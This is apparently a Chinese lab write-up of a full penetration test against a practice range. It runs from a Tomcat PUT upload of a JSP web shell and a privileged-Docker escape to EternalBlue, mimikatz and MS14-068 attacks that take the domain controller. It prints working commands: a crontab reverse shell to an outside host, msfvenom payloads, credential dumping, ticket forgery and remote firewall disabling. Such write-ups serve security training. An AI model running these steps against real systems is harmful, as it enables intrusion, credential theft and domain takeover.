目录
一、前期准备
首先准备好三台虚拟机:
对应的主机账号和密码:
WEB机:ubuntu ubuntu
WIN7主机:douser Dotest123
DC:administrator Test2008
网络配置
准备两个子网:
192.168.57.0 用作外网(NAT模式)
192.168.52.0 用作内网(仅主机模式)

注意,这里要将DC机的IP改一下:改成192.168.52.x 网段的

启动环境

进入docker,把这几个镜像都开启,可以这样开启:
最终会显示还是有几个没有开启,是正常的
二、外网探测
1.存活主机

得到IP地址:192.168.57.146
2.使用nmap进行扫描

web机为Ubuntu 开了SSH,还有几个http页面,根据所给的版本信息搜索对应的漏洞
能直接搜到的有2002端口的 Tomcat/8.5.19的文件上传漏洞
以及2003端口符合漏洞版本 2.4.0~2.4.29的 cve-2017-15715 apache文件上传漏洞
3.Tomcat文件上传
复现是参考了这位师傅的文章:一文了解Tomcat/8.5.19文件上传漏洞复现_tomcat8.5.19-CSDN博客
先抓包,改为PUT请求:
这里显示201状态码

说明此时新资源创建成功了,也就是说可以直接写入文件!尝试访问GET请求:
发现能够访问到,那就直接用文件上传了,打开Godzilla,管理生成一个jsp马

然后将生成的木马内容写入(有时会显示404 ,可以尝试路径shell.jsp/ 。本来我一开始是能正常写入的,但是后面直接输入shell.jsp就一直显示404)

就能成功上传了,状态码显示为204(服务器成功处理请求)再使用哥斯拉连接

看起来像是docker容器环境中,一般容器环境中根目录下会有 .dockerenv 这个隐藏文件

发现确实是docker容器环境,接下来可能要尝试docker逃逸了
4.docker逃逸
虽然在深入,但还是要谨记之前获取到的信息(如SSH,2003端口的文件上传等)
docker逃逸参考这位师傅的文章:https://xz.aliyun.com/news/8151
我看到了一个:Docker高危启动参数 --privileged 特权模式启动容器
这位师傅是这样说的:
之前我直接在/下看到了test文件,但可能是我在复现过程中无意弄好的,让我误以为是环境已经给我搞好了,后面因某些原因再配置一遍发现/test消失了,所以还是再复现一遍:
首先运行:fdisk -l

可以看到这个磁盘文件最大,十六进制代码 83
表示该分区为 **Linux 原生文件系统分区。**可以利用该文件进行docker逃逸
bash
mkdir /test
mount /dev/sda1 /test
chroot /test # 这步我并不能成功,可以直接用下面的
/ >echo '* * * * * root bash -c "bash -i >& /dev/tcp/192.168.57.128/5555 0>&1"' >> /test/etc/crontab

成功获得web机的root权限!
5.ssh登录
虽然已经获得了ubuntu的root权限,但再尝试到后面发现永恒之蓝怎样都打不了,上网搜索打永恒之蓝需要较为稳定的代理,为后续操作的方便,我这里还是学习一下ssh登录的过程(稳定性会更高一些,且命令行操作会更加简单)
(1)使用id_rsa爆破(较慢)
利用刚才获得的shell(或者是在docker容器当中进行操作),获得ubuntu用户下的隐藏文件的.ssh的id_rsa文件


将这一段复制下来,先使用ssh2john从ssh密钥文件中提取哈希值(这里的id_rsa是我随便建的文件)

然后再将提取的哈希写入新文件id_rsa.hash中,使用john进行爆破

就不等了后面
(2)/etc/shadow爆破
可以直接获得密码的hash值,直接爆破


直接得到密码为ubuntu ,直接尝试ssh登录(ubuntu机变为57.149了)

成功登录
(3)ubuntu提权

发现有root权限,直接提权

6.尝试上线msf
先生成上线程序,先查看Ubuntu的详细信息:uname -a 发现是x84的
bash
msfvenom -p /linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.128 LPORT=6666 -f elf -o shell2.elf
然后要想办法将生成的上线程序下载到WEB机中,这里我用kali开启了一个http服务

然后直接让WEB机下载:
然后给文件赋予权限

开启msf
bash
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.57.128
set LPORT 6666
run
然后直接运行shell2程序 ,就可以成功上线msf了

三、内网渗透
1.信息收集
查看网络信息

发现还有192.168.52.x/24网段 ,可用来设置路由
植入fscan进行内网扫描,同样是下载kali上的文件(本来我是想用msf直接到底的,但fscan会更好用些)

可以看到内网的存活主机

192.168.52.129以及192.168.52.190

可以看到上面扫出来的两台内网机器都能尝试用永恒之蓝

甚至还知晓了域控的IP:192.168.52.190 (win 2008)
2.代理隧道
使用永恒之蓝需要稳定的隧道,这里用到的是frp来进行隧道搭建。
(1)编辑客户机(Ubuntu)
将frpc.ini和frpc文件下载到ubuntu上:
编辑frpc.ini文件:
(2)编辑服务机(Kali)
然后在kali上运行:
默认是监听5555
再到跳板机上运行:

可以看到服务机kali上成功建立起隧道

本地用到的是8989端口
(3)编辑proxychains4.conf

3.永恒之蓝(成功拿下WIN7)
注意,之前提到过要打永恒之蓝需要一条非常稳定的隧道,而我们用到的代理也只能是这里的127.0.0.1 8989 如果打了很久也不成功可以去看一下 /etc/environment的全局代理,先把里面的一些代理给禁用掉,然后重启一下就行了:

利用echo $http_proxy 看是否成功执行

或者curl一下docker容器:172.19.0.2 看代理链是否构造成功:

可以看到这里已经成功了。但可能还有一种情况会导致代理链不稳定,就是在以前曾经启动过frp服务(但并没有正确关闭,或者设置了自启动),导致端口被占用了,可以这样自检:当你用永恒之蓝打的时候,看frp服务端会不会跑流量,像这样:

如果没反应可以尝试重启kali,再次重启应该就行了。
现在目标内网机器的IP为:192.168.52.134 192.168.52.190(DC)
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp # 这里用了代理,只能用正向连接
set rhost 192.168.52.134
setg proxies socks5:127.0.0.1:8989
run

成功!
4.对win7进行信息收集
用永恒之蓝应该是不能拿下DC机的,只好先对win7进行信息收集再尝试横向移动了。

发现已经有了系统权限,先关闭防火墙

抓取密码
load kiwi
kiwi_cmd sekurlsa::logonpasswords
c
可以直接抓取到账号密码: demo/douser Dotest123
开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

远程桌面登录(失败)

修改管理员密码
SYSTEM权限可以对管理员密码进行修改,可以这样修改并激活:

这样就可以再尝试远程桌面登录了:

然后可以查看douser下的文件:
发现里面能用的东西相当多,但按理来说一台要打的机器是不会有这么多POC在上面的,比如这里的MS14-068 就应该是出题人给我们的提示。
5.MS14-068
MS14-068(CVE-2014-6324) 是 Microsoft Windows 操作系统中的一个高危漏洞,影响 Kerberos 协议 的权限验证机制。如果攻击者获取了域内任何一台计算机的shell权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限,未打补丁的 Windows Server 2003 至 2012 R2 域控制器都可能有该漏洞。
我们正好可借该漏洞横向到域控主机上(mimikatz无法抓取到域控的密码,即无法横向)复现一下
获取域成员sid

S-1-5-21-797258081-3477957704-2472809391-500
使用ms14-068伪造票据
C:\Users\douser\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-797258081-3477957704-2472809391-500 -d 192.168.52.190 -p Dotest123
# -u 域成员@域名.com
# -s 域成员sid
# -d 域控制器ip地址
# -p 域成员密码

可以看到成功得到高权限票据:[email protected]
将高权限票据注入内存
mimikatz # kerberos::list
mimikatz # kerberos::ptc [email protected]
Principal : (01) : douser ; @ DEMO.COM
Data 0
Start/End/MaxRenew: 2025/5/22 19:02:41 ; 2025/5/23 5:02:41 ; 2025/5/29 19:02:41
Service Name (01) : krbtgt ; DEMO.COM ; @ DEMO.COM
Target Name (01) : krbtgt ; DEMO.COM ; @ DEMO.COM
Client Name (01) : douser ; @ DEMO.COM
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
735e5e7814fd6aaa4d294fbd69bc9c39
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK
可以看到成功注入票据


我们的域控是: WIN-ENS2VR5TR3N

访问域控
可以看到我们刚刚注入的票据

dir \\WIN-ENS2VR5TR3N\C$ 访问域控C盘下的文件

成功执行命令,接下来就得将域控的防火墙关闭了,记得我们之前用fscan发现域控有永恒之蓝吗?用msf继续打一遍。
6.永恒之蓝(成功拿下win2008)
首先我们需要将win2008的防火墙关闭:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
# 使用sc命令在远程计算机上创建一个名为unablefirewall 的服务
sc \\WIN-ENS2VR5TR3N start unablefirewall
# 开启该服务

然后就是拿永恒之蓝打了

成功拿下域控!
四、总结
首先,如果有错误的地方,感谢大家指正!
该靶场还是学了很多知识,对于内网也更加得心应手了些,回忆一下整篇打靶的路径:
首先是通过Tomcat文件上传,成功获得了docker的shell
然后利用docker的权限配置问题,进行了docker逃逸
进行了ssh爆破,获得了更加稳定的shell
使用frp搭建了代理隧道,期间也解决了一些问题,成功用永恒之蓝打下WIN7
加载mimikatz抓取win7账号密码,sid。发现是system权限直接修改本机管理员的密码,打开3389端口登录本机管理员。
发现win7给我们准备好了ms14-068,借此成功得到域管理员的权限
关闭域控的防火墙,使用永恒之蓝拿下域控。
思维导图最近还在画,感觉有些不合理的地方,思路不是很清晰。之后应该会出一篇学习docker逃逸的文章。